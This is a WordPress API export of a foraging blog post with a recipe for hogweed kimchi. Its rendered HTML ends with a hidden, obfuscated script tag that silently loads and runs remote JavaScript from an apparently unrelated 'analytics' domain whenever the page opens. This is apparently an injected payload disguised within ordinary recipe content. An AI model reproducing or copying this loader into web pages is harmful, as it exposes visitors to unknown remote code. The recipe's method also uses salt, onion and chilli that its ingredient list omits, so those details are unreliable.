{"id":114172,"date":"2025-11-24T11:40:26","date_gmt":"2025-11-24T11:40:26","guid":{"rendered":"https:\/\/totallywilduk.co.uk\/?p=114172"},"modified":"2025-11-24T11:40:26","modified_gmt":"2025-11-24T11:40:26","slug":"hogweed-kimchi-by-forager-paul","status":"publish","type":"post","link":"https:\/\/totallywilduk.co.uk\/2025\/11\/24\/hogweed-kimchi-by-forager-paul\/","title":{"rendered":"Hogweed Kimchi by forager Paul"},"content":{"rendered":"<div id='gallery-1' class='gallery galleryid-114172 gallery-columns-3 gallery-size-thumbnail'><figure class='gallery-item'>\n\t\t\t<div class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/totallywilduk.co.uk\/2024\/08\/21\/toxic-plants-to-avoid\/hogweed-multi-3\/'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2023\/12\/hogweed-multi-3-150x150.jpeg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" srcset=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2023\/12\/hogweed-multi-3-150x150.jpeg 150w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2023\/12\/hogweed-multi-3-450x450.jpeg 450w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2023\/12\/hogweed-multi-3-100x100.jpeg 100w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2023\/12\/hogweed-multi-3-50x50.jpeg 50w\" sizes=\"auto, (max-width: 150px) 100vw, 150px\" \/><\/a>\n\t\t\t<\/div><\/figure><figure class='gallery-item'>\n\t\t\t<div class='gallery-icon portrait'>\n\t\t\t\t<a href='https:\/\/totallywilduk.co.uk\/about-us\/forager-paul-pic-with-hogweed-in-hand\/'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/11\/forager-paul-pic-with-hogweed-in-hand-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" srcset=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/11\/forager-paul-pic-with-hogweed-in-hand-150x150.jpg 150w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/11\/forager-paul-pic-with-hogweed-in-hand-450x450.jpg 450w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/11\/forager-paul-pic-with-hogweed-in-hand-100x100.jpg 100w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/11\/forager-paul-pic-with-hogweed-in-hand-50x50.jpg 50w\" sizes=\"auto, (max-width: 150px) 100vw, 150px\" \/><\/a>\n\t\t\t<\/div><\/figure><figure class='gallery-item'>\n\t\t\t<div class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/totallywilduk.co.uk\/2022\/06\/23\/wild-kimchi-pickle-recipe\/pxl_20220504_101449691-portrait\/'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2022\/06\/PXL_20220504_101449691.PORTRAIT-scaled-e1655981828248-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" srcset=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2022\/06\/PXL_20220504_101449691.PORTRAIT-scaled-e1655981828248-150x150.jpg 150w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2022\/06\/PXL_20220504_101449691.PORTRAIT-scaled-e1655981828248-450x450.jpg 450w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2022\/06\/PXL_20220504_101449691.PORTRAIT-scaled-e1655981828248-100x100.jpg 100w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2022\/06\/PXL_20220504_101449691.PORTRAIT-scaled-e1655981828248-50x50.jpg 50w\" sizes=\"auto, (max-width: 150px) 100vw, 150px\" \/><\/a>\n\t\t\t<\/div><\/figure>\n\t\t<\/div>\n\n<p>Say hello to a wild twist on traditional kimchi\u2014Hogweed kimchi! This recipe takes young Hogweed shoots and turns them into a tangy, spicy, and deeply flavourful ferment. It\u2019s all about blending bold Korean flavours with the earthy charm of foraged ingredients. Perfect for adventurous eaters and fermentation fans, this kimchi is a little wild, a little spicy, and totally delicious.<\/p>\n<hr \/>\n<h2><strong>Ingredients:<\/strong><\/h2>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">300g Hogweed (This is the bit you can replace for wild ingredients \u2013 Wild Garlic, Dandelions, Sea Radish or a complete mix of things)<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">3 garlic cloves, crushed or 3 tbsp wild garlic puree<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">2.5cm\/1in piece ginger, grated<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">2 tbsp fish sauce (optional)<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">2 tbsp sriracha chilli sauce or chilli paste\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">1 tbsp golden caster sugar<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">3 tbsp rice vinegar<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">8 radishes, coarsely grated<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">2 carrots, cut into matchsticks or coarsely grated<\/span><\/li>\n<\/ul>\n<p><a href=\"https:\/\/totallywilduk.co.uk\/2020\/04\/28\/identify-common-hogweed\/\">To see our Hogweed identification guide click here.<\/a><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-32626\" src=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2020\/04\/hogweed-on-white-plate-from-top-spring-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2020\/04\/hogweed-on-white-plate-from-top-spring-300x225.jpg 300w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2020\/04\/hogweed-on-white-plate-from-top-spring-scaled-900x675.jpg 900w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2020\/04\/hogweed-on-white-plate-from-top-spring-1024x768.jpg 1024w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2020\/04\/hogweed-on-white-plate-from-top-spring-768x576.jpg 768w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2020\/04\/hogweed-on-white-plate-from-top-spring-1536x1152.jpg 1536w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2020\/04\/hogweed-on-white-plate-from-top-spring-2048x1536.jpg 2048w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2020\/04\/hogweed-on-white-plate-from-top-spring-150x113.jpg 150w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<hr \/>\n<h2><strong>Method:<\/strong><\/h2>\n<ol>\n<li dir=\"auto\">Slice the Hogweed into one inch pieces and put in a bowl.<\/li>\n<li dir=\"auto\">Add the salt and leaves and really get your hands in there and mix it through thoroughly, don&#8217;t be scared to bruise the leaves.<\/li>\n<li dir=\"auto\">After one hour wash off the salt and pat dry with a towel.<\/li>\n<li dir=\"auto\">Grate the ginger, slice the chilli and add to the dry Hogweed with the garlic paste, Sriracha and rice wine vinegar.<\/li>\n<li dir=\"auto\">Finely slice the onion and grate the carrot, add to the mix and stir well.<\/li>\n<li dir=\"auto\">Place in a sterilised jar which will make it last for months<\/li>\n<\/ol>\n<div dir=\"auto\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-114180 size-medium\" src=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/Hogweed-kimchi-in-a-jar-forager-paul-e1734091436225-155x300.jpg\" alt=\"\" width=\"155\" height=\"300\" srcset=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/Hogweed-kimchi-in-a-jar-forager-paul-e1734091436225-155x300.jpg 155w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/Hogweed-kimchi-in-a-jar-forager-paul-e1734091436225-530x1024.jpg 530w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/Hogweed-kimchi-in-a-jar-forager-paul-e1734091436225-78x150.jpg 78w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2024\/12\/Hogweed-kimchi-in-a-jar-forager-paul-e1734091436225.jpg 720w\" sizes=\"auto, (max-width: 155px) 100vw, 155px\" \/><\/div>\n<div dir=\"auto\"><\/div>\n<div dir=\"auto\">\n<hr \/>\n<p>I like to leave this now to ferment some more in my fridge for a month or so. As it ferments it increases in good bacteria which helps my gut health, gut health is so important, your gut is like the boiler room of your body helping all the vitamins and minerals get to around the body to the right part, basically helping you function.<\/p>\n<\/div>\n<div dir=\"auto\">This recipe works so well on just a bit of toast in the morning or my favourite is with a nice pan-fried white fish on top of the kimchi.<\/div>\n<hr \/>\n<h2><a href=\"https:\/\/totallywilduk.co.uk\/wild-food-recipes\/\"><strong>For more fabulous wild food recipes click here.<\/strong><\/a><\/h2>\n<div id='gallery-2' class='gallery galleryid-114172 gallery-columns-3 gallery-size-thumbnail'><figure class='gallery-item'>\n\t\t\t<div class='gallery-icon portrait'>\n\t\t\t\t<a href='https:\/\/totallywilduk.co.uk\/2021\/11\/10\/wild-mushroom-sage-soup-recipe\/img-20211111-wa0007\/'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2021\/11\/IMG-20211111-WA0007-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" srcset=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2021\/11\/IMG-20211111-WA0007-150x150.jpg 150w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2021\/11\/IMG-20211111-WA0007-450x450.jpg 450w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2021\/11\/IMG-20211111-WA0007-100x100.jpg 100w\" sizes=\"auto, (max-width: 150px) 100vw, 150px\" \/><\/a>\n\t\t\t<\/div><\/figure><figure class='gallery-item'>\n\t\t\t<div class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/totallywilduk.co.uk\/2025\/03\/13\/fermented-borscht-recipe-a-vibrant-gut-healthy-celebration-dish\/copy-of-fermented-borscht-recipe\/'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Copy-of-fermented-Borscht-Recipe-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"fermented Borscht Recipe\" srcset=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Copy-of-fermented-Borscht-Recipe-150x150.jpg 150w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Copy-of-fermented-Borscht-Recipe-300x300.jpg 300w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Copy-of-fermented-Borscht-Recipe-1024x1024.jpg 1024w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Copy-of-fermented-Borscht-Recipe-768x768.jpg 768w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Copy-of-fermented-Borscht-Recipe-450x450.jpg 450w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Copy-of-fermented-Borscht-Recipe-900x900.jpg 900w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Copy-of-fermented-Borscht-Recipe-100x100.jpg 100w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Copy-of-fermented-Borscht-Recipe-50x50.jpg 50w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Copy-of-fermented-Borscht-Recipe.jpg 1080w\" sizes=\"auto, (max-width: 150px) 100vw, 150px\" \/><\/a>\n\t\t\t<\/div><\/figure><figure class='gallery-item'>\n\t\t\t<div class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/totallywilduk.co.uk\/2018\/10\/24\/bilberry-pie-recipe\/bilberry-and-apple-pie-close-up-2-e1518702919375-jpg\/'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2021\/05\/Bilberry-and-apple-pie-close-up-2-e1518702919375-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" srcset=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2021\/05\/Bilberry-and-apple-pie-close-up-2-e1518702919375-150x150.jpg 150w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2021\/05\/Bilberry-and-apple-pie-close-up-2-e1518702919375-450x450.jpg 450w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2021\/05\/Bilberry-and-apple-pie-close-up-2-e1518702919375-100x100.jpg 100w\" sizes=\"auto, (max-width: 150px) 100vw, 150px\" \/><\/a>\n\t\t\t<\/div><\/figure>\n\t\t<\/div>\n\n<hr \/>\n<p>&nbsp;<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Say hello to a wild twist on traditional kimchi\u2014Hogweed kimchi! This recipe takes young Hogweed shoots and turns them into a tangy, spicy, and deeply flavourful ferment. It\u2019s all about blending bold Korean flavours with the earthy charm of foraged ingredients. Perfect for adventurous eaters and fermentation fans, this kimchi&hellip;<\/p>\n","protected":false},"author":9,"featured_media":114180,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[371,1766,1780,85,1767,86,1774,1772,1768],"tags":[],"class_list":["post-114172","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog","category-dairy-free","category-edible","category-foraging","category-gluten-free","category-plants","category-side-dish","category-starter","category-vegan"],"_links":{"self":[{"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/posts\/114172","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/comments?post=114172"}],"version-history":[{"count":8,"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/posts\/114172\/revisions"}],"predecessor-version":[{"id":138119,"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/posts\/114172\/revisions\/138119"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/media\/114180"}],"wp:attachment":[{"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/media?parent=114172"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/categories?post=114172"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/tags?post=114172"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}